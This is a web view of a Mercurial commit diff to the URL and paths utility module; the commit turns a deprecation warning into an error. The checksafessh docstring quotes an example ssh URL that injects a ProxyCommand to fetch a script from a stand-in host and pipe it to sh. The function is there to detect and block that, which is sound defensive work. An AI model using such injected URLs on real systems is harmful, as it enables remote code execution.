##// END OF EJS Templates
cleanup: turn `pathsuboption` deprecation warning into an error...
marmoute -
r52031:5c9c4127 default
parent child Browse files
Show More
@@ -1,973 +1,971 b''
1 1 # utils.urlutil - code related to [paths] management
2 2 #
3 3 # Copyright 2005-2023 Olivia Mackall <olivia@selenic.com> and others
4 4 #
5 5 # This software may be used and distributed according to the terms of the
6 6 # GNU General Public License version 2 or any later version.
7 7 import os
8 8 import re as remod
9 9 import socket
10 10
11 11 from ..i18n import _
12 12 from .. import (
13 13 encoding,
14 14 error,
15 15 pycompat,
16 16 urllibcompat,
17 util,
18 17 )
19 18
20 19 from . import (
21 20 stringutil,
22 21 )
23 22
24 23 from ..revlogutils import (
25 24 constants as revlog_constants,
26 25 )
27 26
28 27
29 28 if pycompat.TYPE_CHECKING:
30 29 from typing import (
31 30 Union,
32 31 )
33 32
34 33 urlreq = urllibcompat.urlreq
35 34
36 35
37 36 def getport(port):
38 37 # type: (Union[bytes, int]) -> int
39 38 """Return the port for a given network service.
40 39
41 40 If port is an integer, it's returned as is. If it's a string, it's
42 41 looked up using socket.getservbyname(). If there's no matching
43 42 service, error.Abort is raised.
44 43 """
45 44 try:
46 45 return int(port)
47 46 except ValueError:
48 47 pass
49 48
50 49 try:
51 50 return socket.getservbyname(pycompat.sysstr(port))
52 51 except socket.error:
53 52 raise error.Abort(
54 53 _(b"no port number associated with service '%s'") % port
55 54 )
56 55
57 56
58 57 class url:
59 58 r"""Reliable URL parser.
60 59
61 60 This parses URLs and provides attributes for the following
62 61 components:
63 62
64 63 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
65 64
66 65 Missing components are set to None. The only exception is
67 66 fragment, which is set to '' if present but empty.
68 67
69 68 If parsefragment is False, fragment is included in query. If
70 69 parsequery is False, query is included in path. If both are
71 70 False, both fragment and query are included in path.
72 71
73 72 See http://www.ietf.org/rfc/rfc2396.txt for more information.
74 73
75 74 Note that for backward compatibility reasons, bundle URLs do not
76 75 take host names. That means 'bundle://../' has a path of '../'.
77 76
78 77 Examples:
79 78
80 79 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
81 80 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
82 81 >>> url(b'ssh://[::1]:2200//home/joe/repo')
83 82 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
84 83 >>> url(b'file:///home/joe/repo')
85 84 <url scheme: 'file', path: '/home/joe/repo'>
86 85 >>> url(b'file:///c:/temp/foo/')
87 86 <url scheme: 'file', path: 'c:/temp/foo/'>
88 87 >>> url(b'bundle:foo')
89 88 <url scheme: 'bundle', path: 'foo'>
90 89 >>> url(b'bundle://../foo')
91 90 <url scheme: 'bundle', path: '../foo'>
92 91 >>> url(br'c:\foo\bar')
93 92 <url path: 'c:\\foo\\bar'>
94 93 >>> url(br'\\blah\blah\blah')
95 94 <url path: '\\\\blah\\blah\\blah'>
96 95 >>> url(br'\\blah\blah\blah#baz')
97 96 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
98 97 >>> url(br'file:///C:\users\me')
99 98 <url scheme: 'file', path: 'C:\\users\\me'>
100 99
101 100 Authentication credentials:
102 101
103 102 >>> url(b'ssh://joe:xyz@x/repo')
104 103 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
105 104 >>> url(b'ssh://joe@x/repo')
106 105 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
107 106
108 107 Query strings and fragments:
109 108
110 109 >>> url(b'http://host/a?b#c')
111 110 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
112 111 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
113 112 <url scheme: 'http', host: 'host', path: 'a?b#c'>
114 113
115 114 Empty path:
116 115
117 116 >>> url(b'')
118 117 <url path: ''>
119 118 >>> url(b'#a')
120 119 <url path: '', fragment: 'a'>
121 120 >>> url(b'http://host/')
122 121 <url scheme: 'http', host: 'host', path: ''>
123 122 >>> url(b'http://host/#a')
124 123 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
125 124
126 125 Only scheme:
127 126
128 127 >>> url(b'http:')
129 128 <url scheme: 'http'>
130 129 """
131 130
132 131 _safechars = b"!~*'()+"
133 132 _safepchars = b"/!~*'()+:\\"
134 133 _matchscheme = remod.compile(b'^[a-zA-Z0-9+.\\-]+:').match
135 134
136 135 def __init__(self, path, parsequery=True, parsefragment=True):
137 136 # type: (bytes, bool, bool) -> None
138 137 # We slowly chomp away at path until we have only the path left
139 138 self.scheme = self.user = self.passwd = self.host = None
140 139 self.port = self.path = self.query = self.fragment = None
141 140 self._localpath = True
142 141 self._hostport = b''
143 142 self._origpath = path
144 143
145 144 if parsefragment and b'#' in path:
146 145 path, self.fragment = path.split(b'#', 1)
147 146
148 147 # special case for Windows drive letters and UNC paths
149 148 if hasdriveletter(path) or path.startswith(b'\\\\'):
150 149 self.path = path
151 150 return
152 151
153 152 # For compatibility reasons, we can't handle bundle paths as
154 153 # normal URLS
155 154 if path.startswith(b'bundle:'):
156 155 self.scheme = b'bundle'
157 156 path = path[7:]
158 157 if path.startswith(b'//'):
159 158 path = path[2:]
160 159 self.path = path
161 160 return
162 161
163 162 if self._matchscheme(path):
164 163 parts = path.split(b':', 1)
165 164 if parts[0]:
166 165 self.scheme, path = parts
167 166 self._localpath = False
168 167
169 168 if not path:
170 169 path = None
171 170 if self._localpath:
172 171 self.path = b''
173 172 return
174 173 else:
175 174 if self._localpath:
176 175 self.path = path
177 176 return
178 177
179 178 if parsequery and b'?' in path:
180 179 path, self.query = path.split(b'?', 1)
181 180 if not path:
182 181 path = None
183 182 if not self.query:
184 183 self.query = None
185 184
186 185 # // is required to specify a host/authority
187 186 if path and path.startswith(b'//'):
188 187 parts = path[2:].split(b'/', 1)
189 188 if len(parts) > 1:
190 189 self.host, path = parts
191 190 else:
192 191 self.host = parts[0]
193 192 path = None
194 193 if not self.host:
195 194 self.host = None
196 195 # path of file:///d is /d
197 196 # path of file:///d:/ is d:/, not /d:/
198 197 if path and not hasdriveletter(path):
199 198 path = b'/' + path
200 199
201 200 if self.host and b'@' in self.host:
202 201 self.user, self.host = self.host.rsplit(b'@', 1)
203 202 if b':' in self.user:
204 203 self.user, self.passwd = self.user.split(b':', 1)
205 204 if not self.host:
206 205 self.host = None
207 206
208 207 # Don't split on colons in IPv6 addresses without ports
209 208 if (
210 209 self.host
211 210 and b':' in self.host
212 211 and not (
213 212 self.host.startswith(b'[') and self.host.endswith(b']')
214 213 )
215 214 ):
216 215 self._hostport = self.host
217 216 self.host, self.port = self.host.rsplit(b':', 1)
218 217 if not self.host:
219 218 self.host = None
220 219
221 220 if (
222 221 self.host
223 222 and self.scheme == b'file'
224 223 and self.host not in (b'localhost', b'127.0.0.1', b'[::1]')
225 224 ):
226 225 raise error.Abort(
227 226 _(b'file:// URLs can only refer to localhost')
228 227 )
229 228
230 229 self.path = path
231 230
232 231 # leave the query string escaped
233 232 for a in ('user', 'passwd', 'host', 'port', 'path', 'fragment'):
234 233 v = getattr(self, a)
235 234 if v is not None:
236 235 setattr(self, a, urlreq.unquote(v))
237 236
238 237 def copy(self):
239 238 u = url(b'temporary useless value')
240 239 u.path = self.path
241 240 u.scheme = self.scheme
242 241 u.user = self.user
243 242 u.passwd = self.passwd
244 243 u.host = self.host
245 244 u.port = self.port
246 245 u.query = self.query
247 246 u.fragment = self.fragment
248 247 u._localpath = self._localpath
249 248 u._hostport = self._hostport
250 249 u._origpath = self._origpath
251 250 return u
252 251
253 252 @encoding.strmethod
254 253 def __repr__(self):
255 254 attrs = []
256 255 for a in (
257 256 'scheme',
258 257 'user',
259 258 'passwd',
260 259 'host',
261 260 'port',
262 261 'path',
263 262 'query',
264 263 'fragment',
265 264 ):
266 265 v = getattr(self, a)
267 266 if v is not None:
268 267 line = b'%s: %r'
269 268 line %= (pycompat.bytestr(a), pycompat.bytestr(v))
270 269 attrs.append(line)
271 270 return b'<url %s>' % b', '.join(attrs)
272 271
273 272 def __bytes__(self):
274 273 r"""Join the URL's components back into a URL string.
275 274
276 275 Examples:
277 276
278 277 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
279 278 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
280 279 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
281 280 'http://user:pw@host:80/?foo=bar&baz=42'
282 281 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
283 282 'http://user:pw@host:80/?foo=bar%3dbaz'
284 283 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
285 284 'ssh://user:pw@[::1]:2200//home/joe#'
286 285 >>> bytes(url(b'http://localhost:80//'))
287 286 'http://localhost:80//'
288 287 >>> bytes(url(b'http://localhost:80/'))
289 288 'http://localhost:80/'
290 289 >>> bytes(url(b'http://localhost:80'))
291 290 'http://localhost:80/'
292 291 >>> bytes(url(b'bundle:foo'))
293 292 'bundle:foo'
294 293 >>> bytes(url(b'bundle://../foo'))
295 294 'bundle:../foo'
296 295 >>> bytes(url(b'path'))
297 296 'path'
298 297 >>> bytes(url(b'file:///tmp/foo/bar'))
299 298 'file:///tmp/foo/bar'
300 299 >>> bytes(url(b'file:///c:/tmp/foo/bar'))
301 300 'file:///c:/tmp/foo/bar'
302 301 >>> print(url(br'bundle:foo\bar'))
303 302 bundle:foo\bar
304 303 >>> print(url(br'file:///D:\data\hg'))
305 304 file:///D:\data\hg
306 305 """
307 306 if self._localpath:
308 307 s = self.path
309 308 if self.scheme == b'bundle':
310 309 s = b'bundle:' + s
311 310 if self.fragment:
312 311 s += b'#' + self.fragment
313 312 return s
314 313
315 314 s = self.scheme + b':'
316 315 if self.user or self.passwd or self.host:
317 316 s += b'//'
318 317 elif self.scheme and (
319 318 not self.path
320 319 or self.path.startswith(b'/')
321 320 or hasdriveletter(self.path)
322 321 ):
323 322 s += b'//'
324 323 if hasdriveletter(self.path):
325 324 s += b'/'
326 325 if self.user:
327 326 s += urlreq.quote(self.user, safe=self._safechars)
328 327 if self.passwd:
329 328 s += b':' + urlreq.quote(self.passwd, safe=self._safechars)
330 329 if self.user or self.passwd:
331 330 s += b'@'
332 331 if self.host:
333 332 if not (self.host.startswith(b'[') and self.host.endswith(b']')):
334 333 s += urlreq.quote(self.host)
335 334 else:
336 335 s += self.host
337 336 if self.port:
338 337 s += b':' + urlreq.quote(self.port)
339 338 if self.host:
340 339 s += b'/'
341 340 if self.path:
342 341 # TODO: similar to the query string, we should not unescape the
343 342 # path when we store it, the path might contain '%2f' = '/',
344 343 # which we should *not* escape.
345 344 s += urlreq.quote(self.path, safe=self._safepchars)
346 345 if self.query:
347 346 # we store the query in escaped form.
348 347 s += b'?' + self.query
349 348 if self.fragment is not None:
350 349 s += b'#' + urlreq.quote(self.fragment, safe=self._safepchars)
351 350 return s
352 351
353 352 __str__ = encoding.strmethod(__bytes__)
354 353
355 354 def authinfo(self):
356 355 user, passwd = self.user, self.passwd
357 356 try:
358 357 self.user, self.passwd = None, None
359 358 s = bytes(self)
360 359 finally:
361 360 self.user, self.passwd = user, passwd
362 361 if not self.user:
363 362 return (s, None)
364 363 # authinfo[1] is passed to urllib2 password manager, and its
365 364 # URIs must not contain credentials. The host is passed in the
366 365 # URIs list because Python < 2.4.3 uses only that to search for
367 366 # a password.
368 367 return (s, (None, (s, self.host), self.user, self.passwd or b''))
369 368
370 369 def isabs(self):
371 370 if self.scheme and self.scheme != b'file':
372 371 return True # remote URL
373 372 if hasdriveletter(self.path):
374 373 return True # absolute for our purposes - can't be joined()
375 374 if self.path.startswith(br'\\'):
376 375 return True # Windows UNC path
377 376 if self.path.startswith(b'/'):
378 377 return True # POSIX-style
379 378 return False
380 379
381 380 def localpath(self):
382 381 # type: () -> bytes
383 382 if self.scheme == b'file' or self.scheme == b'bundle':
384 383 path = self.path or b'/'
385 384 # For Windows, we need to promote hosts containing drive
386 385 # letters to paths with drive letters.
387 386 if hasdriveletter(self._hostport):
388 387 path = self._hostport + b'/' + self.path
389 388 elif (
390 389 self.host is not None and self.path and not hasdriveletter(path)
391 390 ):
392 391 path = b'/' + path
393 392 return path
394 393 return self._origpath
395 394
396 395 def islocal(self):
397 396 '''whether localpath will return something that posixfile can open'''
398 397 return (
399 398 not self.scheme
400 399 or self.scheme == b'file'
401 400 or self.scheme == b'bundle'
402 401 )
403 402
404 403
405 404 def hasscheme(path):
406 405 # type: (bytes) -> bool
407 406 return bool(url(path).scheme) # cast to help pytype
408 407
409 408
410 409 def hasdriveletter(path):
411 410 # type: (bytes) -> bool
412 411 return bool(path) and path[1:2] == b':' and path[0:1].isalpha()
413 412
414 413
415 414 def urllocalpath(path):
416 415 # type: (bytes) -> bytes
417 416 return url(path, parsequery=False, parsefragment=False).localpath()
418 417
419 418
420 419 def checksafessh(path):
421 420 # type: (bytes) -> None
422 421 """check if a path / url is a potentially unsafe ssh exploit (SEC)
423 422
424 423 This is a sanity check for ssh urls. ssh will parse the first item as
425 424 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
426 425 Let's prevent these potentially exploited urls entirely and warn the
427 426 user.
428 427
429 428 Raises an error.Abort when the url is unsafe.
430 429 """
431 430 path = urlreq.unquote(path)
432 431 if path.startswith(b'ssh://-') or path.startswith(b'svn+ssh://-'):
433 432 raise error.Abort(
434 433 _(b'potentially unsafe url: %r') % (pycompat.bytestr(path),)
435 434 )
436 435
437 436
438 437 def hidepassword(u):
439 438 # type: (bytes) -> bytes
440 439 '''hide user credential in a url string'''
441 440 u = url(u)
442 441 if u.passwd:
443 442 u.passwd = b'***'
444 443 return bytes(u)
445 444
446 445
447 446 def removeauth(u):
448 447 # type: (bytes) -> bytes
449 448 '''remove all authentication information from a url string'''
450 449 u = url(u)
451 450 u.user = u.passwd = None
452 451 return bytes(u)
453 452
454 453
455 454 def list_paths(ui, target_path=None):
456 455 """list all the (name, paths) in the passed ui"""
457 456 result = []
458 457 if target_path is None:
459 458 for name, paths in sorted(ui.paths.items()):
460 459 for p in paths:
461 460 result.append((name, p))
462 461
463 462 else:
464 463 for path in ui.paths.get(target_path, []):
465 464 result.append((target_path, path))
466 465 return result
467 466
468 467
469 468 def try_path(ui, url):
470 469 """try to build a path from a url
471 470
472 471 Return None if no Path could built.
473 472 """
474 473 try:
475 474 # we pass the ui instance are warning might need to be issued
476 475 return path(ui, None, rawloc=url)
477 476 except ValueError:
478 477 return None
479 478
480 479
481 480 def get_push_paths(repo, ui, dests):
482 481 """yields all the `path` selected as push destination by `dests`"""
483 482 if not dests:
484 483 if b'default-push' in ui.paths:
485 484 for p in ui.paths[b'default-push']:
486 485 yield p.get_push_variant()
487 486 elif b'default' in ui.paths:
488 487 for p in ui.paths[b'default']:
489 488 yield p.get_push_variant()
490 489 else:
491 490 raise error.ConfigError(
492 491 _(b'default repository not configured!'),
493 492 hint=_(b"see 'hg help config.paths'"),
494 493 )
495 494 else:
496 495 for dest in dests:
497 496 if dest in ui.paths:
498 497 for p in ui.paths[dest]:
499 498 yield p.get_push_variant()
500 499 else:
501 500 path = try_path(ui, dest)
502 501 if path is None:
503 502 msg = _(b'repository %s does not exist')
504 503 msg %= dest
505 504 raise error.RepoError(msg)
506 505 yield path.get_push_variant()
507 506
508 507
509 508 def get_pull_paths(repo, ui, sources):
510 509 """yields all the `(path, branch)` selected as pull source by `sources`"""
511 510 if not sources:
512 511 sources = [b'default']
513 512 for source in sources:
514 513 if source in ui.paths:
515 514 for p in ui.paths[source]:
516 515 yield p
517 516 else:
518 517 p = path(ui, None, source, validate_path=False)
519 518 yield p
520 519
521 520
522 521 def get_unique_push_path(action, repo, ui, dest=None):
523 522 """return a unique `path` or abort if multiple are found
524 523
525 524 This is useful for command and action that does not support multiple
526 525 destination (yet).
527 526
528 527 The `action` parameter will be used for the error message.
529 528 """
530 529 if dest is None:
531 530 dests = []
532 531 else:
533 532 dests = [dest]
534 533 dests = list(get_push_paths(repo, ui, dests))
535 534 if len(dests) != 1:
536 535 if dest is None:
537 536 msg = _(
538 537 b"default path points to %d urls while %s only supports one"
539 538 )
540 539 msg %= (len(dests), action)
541 540 else:
542 541 msg = _(b"path points to %d urls while %s only supports one: %s")
543 542 msg %= (len(dests), action, dest)
544 543 raise error.Abort(msg)
545 544 return dests[0]
546 545
547 546
548 547 def get_unique_pull_path_obj(action, ui, source=None):
549 548 """return a unique `(path, branch)` or abort if multiple are found
550 549
551 550 This is useful for command and action that does not support multiple
552 551 destination (yet).
553 552
554 553 The `action` parameter will be used for the error message.
555 554
556 555 note: Ideally, this function would be called `get_unique_pull_path` to
557 556 mirror the `get_unique_push_path`, but the name was already taken.
558 557 """
559 558 sources = []
560 559 if source is not None:
561 560 sources.append(source)
562 561
563 562 pull_paths = list(get_pull_paths(None, ui, sources=sources))
564 563 path_count = len(pull_paths)
565 564 if path_count != 1:
566 565 if source is None:
567 566 msg = _(
568 567 b"default path points to %d urls while %s only supports one"
569 568 )
570 569 msg %= (path_count, action)
571 570 else:
572 571 msg = _(b"path points to %d urls while %s only supports one: %s")
573 572 msg %= (path_count, action, source)
574 573 raise error.Abort(msg)
575 574 return pull_paths[0]
576 575
577 576
578 577 def get_unique_pull_path(action, repo, ui, source=None, default_branches=()):
579 578 """return a unique `(url, branch)` or abort if multiple are found
580 579
581 580 See `get_unique_pull_path_obj` for details.
582 581 """
583 582 path = get_unique_pull_path_obj(action, ui, source=source)
584 583 return parseurl(path.rawloc, default_branches)
585 584
586 585
587 586 def get_clone_path_obj(ui, source):
588 587 """return the `(origsource, url, branch)` selected as clone source"""
589 588 if source == b'':
590 589 return None
591 590 return get_unique_pull_path_obj(b'clone', ui, source=source)
592 591
593 592
594 593 def get_clone_path(ui, source, default_branches=None):
595 594 """return the `(origsource, url, branch)` selected as clone source"""
596 595 path = get_clone_path_obj(ui, source)
597 596 if path is None:
598 597 return (b'', b'', (None, default_branches))
599 598 if default_branches is None:
600 599 default_branches = []
601 600 branches = (path.branch, default_branches)
602 601 return path.rawloc, path.loc, branches
603 602
604 603
605 604 def parseurl(path, branches=None):
606 605 '''parse url#branch, returning (url, (branch, branches))'''
607 606 u = url(path)
608 607 branch = None
609 608 if u.fragment:
610 609 branch = u.fragment
611 610 u.fragment = None
612 611 return bytes(u), (branch, branches or [])
613 612
614 613
615 614 class paths(dict):
616 615 """Represents a collection of paths and their configs.
617 616
618 617 Data is initially derived from ui instances and the config files they have
619 618 loaded.
620 619 """
621 620
622 621 def __init__(self, ui):
623 622 dict.__init__(self)
624 623
625 624 home_path = os.path.expanduser(b'~')
626 625
627 626 for name, value in ui.configitems(b'paths', ignoresub=True):
628 627 # No location is the same as not existing.
629 628 if not value:
630 629 continue
631 630 _value, sub_opts = ui.configsuboptions(b'paths', name)
632 631 s = ui.configsource(b'paths', name)
633 632 root_key = (name, value, s)
634 633 root = ui._path_to_root.get(root_key, home_path)
635 634
636 635 multi_url = sub_opts.get(b'multi-urls')
637 636 if multi_url is not None and stringutil.parsebool(multi_url):
638 637 base_locs = stringutil.parselist(value)
639 638 else:
640 639 base_locs = [value]
641 640
642 641 paths = []
643 642 for loc in base_locs:
644 643 loc = os.path.expandvars(loc)
645 644 loc = os.path.expanduser(loc)
646 645 if not hasscheme(loc) and not os.path.isabs(loc):
647 646 loc = os.path.normpath(os.path.join(root, loc))
648 647 p = path(ui, name, rawloc=loc, suboptions=sub_opts)
649 648 paths.append(p)
650 649 self[name] = paths
651 650
652 651 for name, old_paths in sorted(self.items()):
653 652 new_paths = []
654 653 for p in old_paths:
655 654 new_paths.extend(_chain_path(p, ui, self))
656 655 self[name] = new_paths
657 656
658 657
659 658 _pathsuboptions = {}
660 659 # a dictionnary of methods that can be used to format a sub-option value
661 660 path_suboptions_display = {}
662 661
663 662
664 663 def pathsuboption(option, attr, display=pycompat.bytestr):
665 664 """Decorator used to declare a path sub-option.
666 665
667 666 Arguments are the sub-option name and the attribute it should set on
668 667 ``path`` instances.
669 668
670 669 The decorated function will receive as arguments a ``ui`` instance,
671 670 ``path`` instance, and the string value of this option from the config.
672 671 The function should return the value that will be set on the ``path``
673 672 instance.
674 673
675 674 The optional `display` argument is a function that can be used to format
676 675 the value when displayed to the user (like in `hg paths` for example).
677 676
678 677 This decorator can be used to perform additional verification of
679 678 sub-options and to change the type of sub-options.
680 679 """
681 680 if isinstance(attr, bytes):
682 681 msg = b'pathsuboption take `str` as "attr" argument, not `bytes`'
683 util.nouideprecwarn(msg, b"6.6", stacklevel=2)
684 attr = attr.decode('ascii')
682 raise TypeError(msg)
685 683
686 684 def register(func):
687 685 _pathsuboptions[option] = (attr, func)
688 686 path_suboptions_display[option] = display
689 687 return func
690 688
691 689 return register
692 690
693 691
694 692 def display_bool(value):
695 693 """display a boolean suboption back to the user"""
696 694 return b'yes' if value else b'no'
697 695
698 696
699 697 @pathsuboption(b'pushurl', '_pushloc')
700 698 def pushurlpathoption(ui, path, value):
701 699 u = url(value)
702 700 # Actually require a URL.
703 701 if not u.scheme:
704 702 msg = _(b'(paths.%s:pushurl not a URL; ignoring: "%s")\n')
705 703 msg %= (path.name, value)
706 704 ui.warn(msg)
707 705 return None
708 706
709 707 # Don't support the #foo syntax in the push URL to declare branch to
710 708 # push.
711 709 if u.fragment:
712 710 ui.warn(
713 711 _(
714 712 b'("#fragment" in paths.%s:pushurl not supported; '
715 713 b'ignoring)\n'
716 714 )
717 715 % path.name
718 716 )
719 717 u.fragment = None
720 718
721 719 return bytes(u)
722 720
723 721
724 722 @pathsuboption(b'pushrev', 'pushrev')
725 723 def pushrevpathoption(ui, path, value):
726 724 return value
727 725
728 726
729 727 SUPPORTED_BOOKMARKS_MODES = {
730 728 b'default',
731 729 b'mirror',
732 730 b'ignore',
733 731 }
734 732
735 733
736 734 @pathsuboption(b'bookmarks.mode', 'bookmarks_mode')
737 735 def bookmarks_mode_option(ui, path, value):
738 736 if value not in SUPPORTED_BOOKMARKS_MODES:
739 737 path_name = path.name
740 738 if path_name is None:
741 739 # this is an "anonymous" path, config comes from the global one
742 740 path_name = b'*'
743 741 msg = _(b'(paths.%s:bookmarks.mode has unknown value: "%s")\n')
744 742 msg %= (path_name, value)
745 743 ui.warn(msg)
746 744 if value == b'default':
747 745 value = None
748 746 return value
749 747
750 748
751 749 DELTA_REUSE_POLICIES = {
752 750 b'default': None,
753 751 b'try-base': revlog_constants.DELTA_BASE_REUSE_TRY,
754 752 b'no-reuse': revlog_constants.DELTA_BASE_REUSE_NO,
755 753 b'forced': revlog_constants.DELTA_BASE_REUSE_FORCE,
756 754 }
757 755 DELTA_REUSE_POLICIES_NAME = dict(i[::-1] for i in DELTA_REUSE_POLICIES.items())
758 756
759 757
760 758 @pathsuboption(
761 759 b'pulled-delta-reuse-policy',
762 760 'delta_reuse_policy',
763 761 display=DELTA_REUSE_POLICIES_NAME.get,
764 762 )
765 763 def delta_reuse_policy(ui, path, value):
766 764 if value not in DELTA_REUSE_POLICIES:
767 765 path_name = path.name
768 766 if path_name is None:
769 767 # this is an "anonymous" path, config comes from the global one
770 768 path_name = b'*'
771 769 msg = _(
772 770 b'(paths.%s:pulled-delta-reuse-policy has unknown value: "%s")\n'
773 771 )
774 772 msg %= (path_name, value)
775 773 ui.warn(msg)
776 774 return DELTA_REUSE_POLICIES.get(value)
777 775
778 776
779 777 @pathsuboption(b'multi-urls', 'multi_urls', display=display_bool)
780 778 def multiurls_pathoption(ui, path, value):
781 779 res = stringutil.parsebool(value)
782 780 if res is None:
783 781 ui.warn(
784 782 _(b'(paths.%s:multi-urls not a boolean; ignoring)\n') % path.name
785 783 )
786 784 res = False
787 785 return res
788 786
789 787
790 788 def _chain_path(base_path, ui, paths):
791 789 """return the result of "path://" logic applied on a given path"""
792 790 new_paths = []
793 791 if base_path.url.scheme != b'path':
794 792 new_paths.append(base_path)
795 793 else:
796 794 assert base_path.url.path is None
797 795 sub_paths = paths.get(base_path.url.host)
798 796 if sub_paths is None:
799 797 m = _(b'cannot use `%s`, "%s" is not a known path')
800 798 m %= (base_path.rawloc, base_path.url.host)
801 799 raise error.Abort(m)
802 800 for subpath in sub_paths:
803 801 path = base_path.copy()
804 802 if subpath.raw_url.scheme == b'path':
805 803 m = _(b'cannot use `%s`, "%s" is also defined as a `path://`')
806 804 m %= (path.rawloc, path.url.host)
807 805 raise error.Abort(m)
808 806 path.url = subpath.url
809 807 path.rawloc = subpath.rawloc
810 808 path.loc = subpath.loc
811 809 if path.branch is None:
812 810 path.branch = subpath.branch
813 811 else:
814 812 base = path.rawloc.rsplit(b'#', 1)[0]
815 813 path.rawloc = b'%s#%s' % (base, path.branch)
816 814 suboptions = subpath._all_sub_opts.copy()
817 815 suboptions.update(path._own_sub_opts)
818 816 path._apply_suboptions(ui, suboptions)
819 817 new_paths.append(path)
820 818 return new_paths
821 819
822 820
823 821 class path:
824 822 """Represents an individual path and its configuration."""
825 823
826 824 def __init__(
827 825 self,
828 826 ui=None,
829 827 name=None,
830 828 rawloc=None,
831 829 suboptions=None,
832 830 validate_path=True,
833 831 ):
834 832 """Construct a path from its config options.
835 833
836 834 ``ui`` is the ``ui`` instance the path is coming from.
837 835 ``name`` is the symbolic name of the path.
838 836 ``rawloc`` is the raw location, as defined in the config.
839 837 ``_pushloc`` is the raw locations pushes should be made to.
840 838 (see the `get_push_variant` method)
841 839
842 840 If ``name`` is not defined, we require that the location be a) a local
843 841 filesystem path with a .hg directory or b) a URL. If not,
844 842 ``ValueError`` is raised.
845 843 """
846 844 if ui is None:
847 845 # used in copy
848 846 assert name is None
849 847 assert rawloc is None
850 848 assert suboptions is None
851 849 return
852 850
853 851 if not rawloc:
854 852 raise ValueError(b'rawloc must be defined')
855 853
856 854 self.name = name
857 855
858 856 # set by path variant to point to their "non-push" version
859 857 self.main_path = None
860 858 self._setup_url(rawloc)
861 859
862 860 if validate_path:
863 861 self._validate_path()
864 862
865 863 _path, sub_opts = ui.configsuboptions(b'paths', b'*')
866 864 self._own_sub_opts = {}
867 865 if suboptions is not None:
868 866 self._own_sub_opts = suboptions.copy()
869 867 sub_opts.update(suboptions)
870 868 self._all_sub_opts = sub_opts.copy()
871 869
872 870 self._apply_suboptions(ui, sub_opts)
873 871
874 872 def _setup_url(self, rawloc):
875 873 # Locations may define branches via syntax <base>#<branch>.
876 874 u = url(rawloc)
877 875 branch = None
878 876 if u.fragment:
879 877 branch = u.fragment
880 878 u.fragment = None
881 879
882 880 self.url = u
883 881 # the url from the config/command line before dealing with `path://`
884 882 self.raw_url = u.copy()
885 883 self.branch = branch
886 884
887 885 self.rawloc = rawloc
888 886 self.loc = b'%s' % u
889 887
890 888 def copy(self, new_raw_location=None):
891 889 """make a copy of this path object
892 890
893 891 When `new_raw_location` is set, the new path will point to it.
894 892 This is used by the scheme extension so expand the scheme.
895 893 """
896 894 new = self.__class__()
897 895 for k, v in self.__dict__.items():
898 896 new_copy = getattr(v, 'copy', None)
899 897 if new_copy is not None:
900 898 v = new_copy()
901 899 new.__dict__[k] = v
902 900 if new_raw_location is not None:
903 901 new._setup_url(new_raw_location)
904 902 return new
905 903
906 904 @property
907 905 def is_push_variant(self):
908 906 """is this a path variant to be used for pushing"""
909 907 return self.main_path is not None
910 908
911 909 def get_push_variant(self):
912 910 """get a "copy" of the path, but suitable for pushing
913 911
914 912 This means using the value of the `pushurl` option (if any) as the url.
915 913
916 914 The original path is available in the `main_path` attribute.
917 915 """
918 916 if self.main_path:
919 917 return self
920 918 new = self.copy()
921 919 new.main_path = self
922 920 if self._pushloc:
923 921 new._setup_url(self._pushloc)
924 922 return new
925 923
926 924 def _validate_path(self):
927 925 # When given a raw location but not a symbolic name, validate the
928 926 # location is valid.
929 927 if (
930 928 not self.name
931 929 and not self.url.scheme
932 930 and not self._isvalidlocalpath(self.loc)
933 931 ):
934 932 raise ValueError(
935 933 b'location is not a URL or path to a local '
936 934 b'repo: %s' % self.rawloc
937 935 )
938 936
939 937 def _apply_suboptions(self, ui, sub_options):
940 938 # Now process the sub-options. If a sub-option is registered, its
941 939 # attribute will always be present. The value will be None if there
942 940 # was no valid sub-option.
943 941 for suboption, (attr, func) in _pathsuboptions.items():
944 942 if suboption not in sub_options:
945 943 setattr(self, attr, None)
946 944 continue
947 945
948 946 value = func(ui, self, sub_options[suboption])
949 947 setattr(self, attr, value)
950 948
951 949 def _isvalidlocalpath(self, path):
952 950 """Returns True if the given path is a potentially valid repository.
953 951 This is its own function so that extensions can change the definition of
954 952 'valid' in this case (like when pulling from a git repo into a hg
955 953 one)."""
956 954 try:
957 955 return os.path.isdir(os.path.join(path, b'.hg'))
958 956 # Python 2 may return TypeError. Python 3, ValueError.
959 957 except (TypeError, ValueError):
960 958 return False
961 959
962 960 @property
963 961 def suboptions(self):
964 962 """Return sub-options and their values for this path.
965 963
966 964 This is intended to be used for presentation purposes.
967 965 """
968 966 d = {}
969 967 for subopt, (attr, _func) in _pathsuboptions.items():
970 968 value = getattr(self, attr)
971 969 if value is not None:
972 970 d[subopt] = value
973 971 return d
General Comments 0
You need to be logged in to leave comments. Login now